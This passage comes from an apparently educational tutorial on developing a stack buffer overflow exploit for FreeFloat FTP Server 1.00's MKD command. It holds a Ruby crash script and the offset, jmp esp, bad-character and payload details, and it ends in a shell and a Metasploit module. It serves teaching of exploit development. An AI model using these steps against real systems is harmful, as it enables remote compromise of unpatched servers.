Figure 8: Run the isolate.rb script to verify which bytes overwrite "the stack including the RETN address.


Run the above script

Screen Shot 2012-06-28 at 7.29.10 PM.png

Figure 9: Ran the isolate.rb script to crash the application.


Now return to Immunity Debugger and glance at the output of ESP and EIP.


Screen Shot 2012-06-28 at 7.32.24 PM.png

Figure 10: You have overwritten the stack including the RETN address.


You have successfully overwriten the stack including the RETN address. That means that you know have execution flow of the program. The next important task is to control the execution flow by knowing which exact 4 bytes overwrite EIP.

 

 

Screen Shot 2012-07-05 at 5.42.43 PM.png


Davehttps://twitter.com/daveaitelAitel, (CEO Immunity, Inc.), comments on bad characters, and calculating shellcode early in the process. " You need your bad-bytes check and size check first, What if the 4 in "247" is a bad byte, you have no way of knowing ahead of time unless you test for it. "


In our unique situation, our padding buffer size is 247 bytes, the EIP overwrite is the immediate 4 bytes after the 247th byte. Dave is simply making the case that it may be possible that your padding buffer might contain bad characters.

 

Step 6. Uncover Bad Characters and calculate shellcode space.

See step 12 for details on how to test for bad characters.


You can see from the picture below that we have massive space for our shellcode. You can also see the end of the 247 byte junk data, the 4 "VVVV" bytes that overwrite EIP, and the beginning our huge shellcode space.

 

Screen Shot 2012-06-28 at 10.01.10 PM.png

Figure 16: Immunity registers, & memory at time of crash. End of the 247 byte misc junk (XXXXXXXXXXXX), 4 byte (VVVV) EIP overwrite, and the start of our wonderful shellcode space (ZZZZZZZZZZZZ).


Now we get to the details (the devil is in the details). We have to make a note of the start and end of the ESP memory address within Immunity Debugger.

Lets quickly do that now.


Screen Shot 2012-06-28 at 11.00.09 PM.png

Figure 17. Glorious shellcode space.


Screen Shot 2012-06-28 at 11.01.25 PM.png

Figure 18. ESP start address.


Screen Shot 2012-06-28 at 11.02.04 PM.png

Figure 19. ESP end address.




Step 7. Confirm shellcode space by subtracting the end ESP address from the start ESP address



Screen Shot 2012-07-05 at 5.42.43 PM.png


Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, explain why the end address is technically not 0x00AFFF04 as shown in Figure 19. " 0x00AFFF04 only indicates the begging of that row, not down to the last byte of it.  So the end address should be 0x00AFFF04+7. "


The exploit still works, however these corrections have not been made so the readers can learn about them, and remember this important lesson.

Now we can quickly calculate the shellcode space more accurately. The most important part here is to subtract the ESP end address from the ESP start address. See the figures below for details.

 

AFFF04

AFFC24 -

 

That equals to:

Screen Shot 2012-06-28 at 11.37.42 PM.png

Figure 20. Calculating shellcode space by subtracting the end address from the start address.


Now convert the 2E0 value to a decimal.


Screen Shot 2012-06-28 at 11.37.55 PM.png

Figure 21. The result indicates that we have 736 bytes for our shellcode space.

 

We have verified that we have 736 bytes of shellcode space. That is plenty space for almost all payloads.

 

 

 

Screen Shot 2012-07-05 at 5.42.43 PM.png


Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, comment on the use of pattern_create.rb, " To us exploit devs, using pattern_create.rb is almost not needed, because you can just use the pattern_create() function in your module.  This is really the same thing as pattern_create.rb. "


Step 8. Determine stack overwrite including the RETN address with pattern analysis.

Restart the FTP server, and re-attach it to Immunity. Also comment out line 17 in isolate.rb, and uncomment line 22 to begin the pattern analysis buffer string validation. The unique string was generated via metasploits pattern_create.rb script (this can also be done via mona.py (mona.py revolutionized the game).

 

#!/usr/bin/env ruby
#
#More informations about the flaw can be found here http://net-fuzzer.blogspot.com/2011/07/freefloat-ftp-server-multiples-buffer.html.
#
#What i do?
#Only a script, to demonstrate the crash in FreeFloatFtpServer 1.00.
#
#Note:
#After sending the very long MKD command, close the socket connection, then open another socket on the server,
#wait a second using "sleep(1)" and close the connection.
#For the program to crash it is necessary to connect again.
#
require 'socket'


###### [ 1 ]
#buf = "X" * 1000 # original qk_fuzz.rb buffer ESP should be overwritten by 58:58:58:58


###### [ 2 ]
# Pattern analysis by sending unique string to identify which 4 bytes overwrite EIP !
buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"


###### [ 3 ]
    # 58        # 56      # 5a
#buf = "X" * 247 + "V" * 4 + "Z" * 749 # EIP should get overwritten by exactly 4 V's or 56:56:56:56


begin
s = TCPSocket.new('10.2.17.137',21)
print "<< "+s.recv(10000)
s.puts("USER admin\r\n")
print "<< "+s.recv(10000)
s.puts("PASS admin\r\n")
print "<< "+s.recv(10000)
s.puts("MKD #{buf}\r\n")
s.close # Here Maybe don't crash the program. 
#####################################################
so = TCPSocket.new('10.2.17.137',21) # Connect again,
sleep(1)
so.close # Now Crash
#####################################################
rescue
print "[-]Error: #{$!}\n"
exit(-1)
end

















































Figure 11: Prepped the isolate.rb script per the above instructions.



Screen Shot 2012-06-28 at 8.17.34 PM.png

Figure 12: isolate.rb was executed to determine magic 4 bytes that overwrite EIP.



You can know see that the stack including the RETN address was overwritten by a truly unique buffer string. This allows us to determine which exact 4 bytes overwrote EIP by using Metasploit and how much payload space we have by examining Immunity CPU registers and memory at time of crash.


Screen Shot 2012-06-28 at 8.41.02 PM.png

Figure 13: Confirmed stack including the RETN address overwrite by a unique string.


The *Important note to take away from this that you have to remember the four bytes that caused the EIP overwrite. In this case the four bytes are EIP = 69413269.


Screen Shot 2012-06-28 at 8.49.50 PM.png

Figure 14: The magic four bytes that overwrote EIP.


Armed with this information we navigate to the Metasploit tools directory and execute the pattern_offset.rb script as shown below.


Screen Shot 2012-06-28 at 8.54.56 PM.png

Figure 15: Determined the offset for the four bytes via pattern_offset.rb | EIP = 247.

 

 


Screen Shot 2012-07-05 at 5.42.43 PM.png


According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, " Using the jmp esp address from kernel32.dll is a bad habit, it's something that we keep trying to remind contributors to avoid doing. This is due to the fact that most system DLLs change way too often due to patch levels, or by other Microsoft software such as Office.  Very hard to use in a practical situation, so we pretty much consider them as unreliable. "


Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, also commented on claiming your exploit as universal. " Regarding using "jmp addr from a core.dll. Ideally you want to find an address from the application, so if core.dll comes from the FreeFloat, that would be a choice. However, calling a module "universal" is a big claim. I have seen a lot of people make that mistake saying their exploit is "universal", but when I go through the QA phase with it, the exploit starts to fail.


Here are the common causes:

  1. The most common reason is probably because they didn't realize the DLL could rebase. For example, often you will see an ActiveX control being loaded at 0x10000000, they usually rebase when you load more.
  2. The second common is probably due to the lack of understanding of the vulnerability.  For example, say you're exploiting the way a vulnerable sever constructs its debugging string when you send a request, like this:  n = sprintf(buffer, IP: %s requests: %s, client, req). Sometimes an inexperienced developer may only know he's overflowing the server with a long request, but he doesn't realize the length of his IP also affects the offset in the buffer.  So maybe the exploit will work all the time in his test environment because his IP is always the same, but obviously this type of exploit will suck if you actually try to deploy it against a real target.
  3. Sometimes the stack can also be constructed differently due to some race condition, or some API is different than the other, causing the offset to be different.

 

As you can see, even a simple question like "Can my exploit be reliable if I use an application DLL?" can give you a long answer like that.  And that, my friend, is why exploit development is an art.  I remember this one time our dev James Lee (egypt) said in a presentation: "Writing an exploit is never easy. Pretty much every step you do, it's like the vulnerable application wants you to fail".... I cannot agree more. "


Step 9. Gather jmp esp address.

This is one of thee most critical steps in the exploit dev process. Not having the right jmp esp address will make your exploit fail. Also having bad characters in your shellcode will render great shellcode useless.


Fire up the FTP Server>Open Immunity>Attach the FTP service>click on the show modules icon or press (Alt+E), and select the kernel32.dll module.

 

Screen Shot 2012-06-29 at 12.51.15 AM.png

Figure 22. kernel32.dll loaded module.



Screen Shot 2012-06-29 at 12.51.33 AM.png

Figure 23. RIght click in the results window and select the following jmp esp command search.


Screen Shot 2012-06-29 at 12.51.41 AM.png

Figure 24. Search for the jmp esp command.


Screen Shot 2012-06-29 at 12.51.48 AM.png

Figure 25. JMP ESP will be displayed at the top in red.


Screen Shot 2012-06-29 at 12.59.48 AM.png

Figure 26. With this information we update our PoC.rb script.



Screen Shot 2012-06-29 at 1.00.59 AM.png

Figure 27. Update our PoC.rb script.


The important item to note here is that we input the enter the jmp esp address as little endian architecture (the order in which the bytes are stored in memory).


Screen Shot 2012-06-29 at 1.14.01 AM.png

Figure 28. Little endian architecture.



Step 10. Develop Proof of concept exploit (PoC.rb).


For this step it is important to comment out line 20 in isolate.rb, and uncomment line 24. Details shown below.


Screen Shot 2012-06-28 at 8.58.09 PM.png

Figure 29: Prepping isolate.rb for our PoC exploit.


Screen Shot 2012-06-28 at 9.07.06 PM.png

Figure 30: Our new buffer string.


After the execution of our modified isolate.rb script EIP should be overwritten by exactly 4 V's or 56:56:56:56.


Screen Shot 2012-06-28 at 9.10.14 PM.png

Figure 31: EIP was overwritten by 56565656.


Screen Shot 2012-06-28 at 9.10.34 PM.png

Figure 32: You now control the execution flow of this program!


We are now ready to execute our PoC.rb exploit to deploy calc as a proof of concept. Remember that all crashes dont always lead to a compromise as detailed in this buffer overflow exploit.


Screen Shot 2012-06-28 at 9.16.49 PM.png

Figure 33: Pop calc.exe on victim computer as proof-of-concept!


Screen Shot 2012-06-29 at 12.16.08 AM.png

Figure 34: Execute poc.rb to pop calc on victim.



Screen Shot 2012-06-29 at 1.45.55 AM.png

Figure 35: Calc on victim.

 

Step 11. Weaponize PoC with shellcode (weaponize.rb).

 

Important information to take away from here is:

  1. I used the x86/alpha_upper payload (see advise from sinn3r & Juan below).
  2. EXITFUNC="process" // SEH will crash and 'process' will kill the process
  3. msfencode -e x86/alpha_upper -s 700 // -s keeps the payload under 700 bytes

 

 

Screen Shot 2012-07-05 at 5.42.43 PM.png


Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, comment on the use of the x86/alpha_upper payload. " You only have a few badchars, so there's seems to be no point of using an alpha_upper payload... it actually makes the payload bigger than it should be. "


sinn3r and Juan Vazquez elaborate on BadCharacters. " Again, PoCs are not meant to be reliable, and you should never trust a badchar set coming from a PoC.  The author could have been just lazy, threw a few badchars enough to make the exploit work... often not enough when you choose a different payload.  You should ALWAYS do your badchar analysis. "


Step 12. Exploit QA process and re-confirm BadChars (weaponize.rb).


We are almost done, good job hanging in there. Now on to one of the most fun/tedious aspects of exploit dev. This step is needed to ensure finesse and reliability when submitting your exploits. We have to confirm our shellcode lands/exits gracefully onto the stack via our NOP slide like a panther swooping down to capture its prey in pitch darkness. That's what separates a true craftsman from the rest of the pack; its the QA process the developer implements on the exploits. This is the most critical steps because it will make or break your exploits. If it were compared to U.S Navy SEAL training, it would be considered Hell week.


Dealing with, manually uncovering, and testing for bad characters

1. Metasploit/WritingWindowsExploit - Wikibooks, open books for an open world

2. Security Basics: RE: Finding Bad Characters in Exploit Research?

3. insidetrust.com: Using Backtrack to spot and fix bad characters in custom buffer-overflow development


From the insidetrust [3.] blog post we were able to determine that "\x00", "\x0a" and "\x0d" are a safe bet to be BadChars for text based protocols.

So we can confirm this and move on and execute our exploit weaponize.rb now (if this had not been the case we would have had to uncover bad characters as detailed in his Bens blog).


Screen Shot 2012-06-30 at 1.02.51 AM.png

Figure 36: For whom the shell tolls.


The victim is compromised. Lets quickly turn  this exploit into a metasploit module.


Step 13. Port exploit into a Metasploit module.


Screen Shot 2012-06-29 at 10.50.29 PM.png

Figure 37: Freefloat FTP server metasploit module.


Screen Shot 2012-06-29 at 10.48.19 PM.png

Figure 38: Successfully compromised the victim 192.168.134.133.


Take some time and study this module. You will see that not a whole lot of information is used from everything we extracted manually. That is the beauty of the framework, code reuse & mixins!!


The more important options in the module are:


  1. 'Default Options'  <= we harvested this info manually above
  2. 'Payload'            <= we harvested this info manually above
  3. 'Space' = 700      <= we harvested this info manually above
  4. "BadChars" =    "\x00\x0a\x0d" <= we harvested this info manually above
  5. 'Platform'
  6. 'Targets'
  7. 'Ret' address = kernel32.dll <= we harvested this info manually above
  8. 'Offset' = 247    <= we harvested this info manually above


 

References:


Original exploit developer: C4SS!0 G0M3S FreeFloat FTP Server 1.00 MKD Buffer Overflow Exploit

Original metasploit module developer James Fitts: Freefloat FTP Server MKD Buffer Overflow (MSF)

Javier Godinez @isomorphix for help with fuzz.rb.

A Unique Examination of the Buffer Overflow Condition by Terry Bruce Gillette

Application Security and Vulnerability Analysis - Reverse Engineering

Buffer Overflow stack layout

Stack Buffer Overflow

Cultdeadcow

Metasploit/WritingWindowsExploit - Wikibooks, open books for an open world

http://www.amazon.com/Metasploit-The-Penetration-Testers-Guide/dp/159327288X

Exploitation - The Penetration Testing Execution Standard

http://code.google.com/p/it-sec-catalog/wiki/Exploitation

https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/

Past, Present, Future of Windows Exploitation | Abysssec Security Research

Making Something Go Boom - Metasploit Unleashed

Fuzzing with Metasploit : Simple FTP fuzzer | Corelan Team

http://www.blackhat.com/presentations/bh-usa-09/TRACY/BHUSA09-Tracy-RubyPenteste rs-PAPER.pdf

Filter Blog

By date: By tag: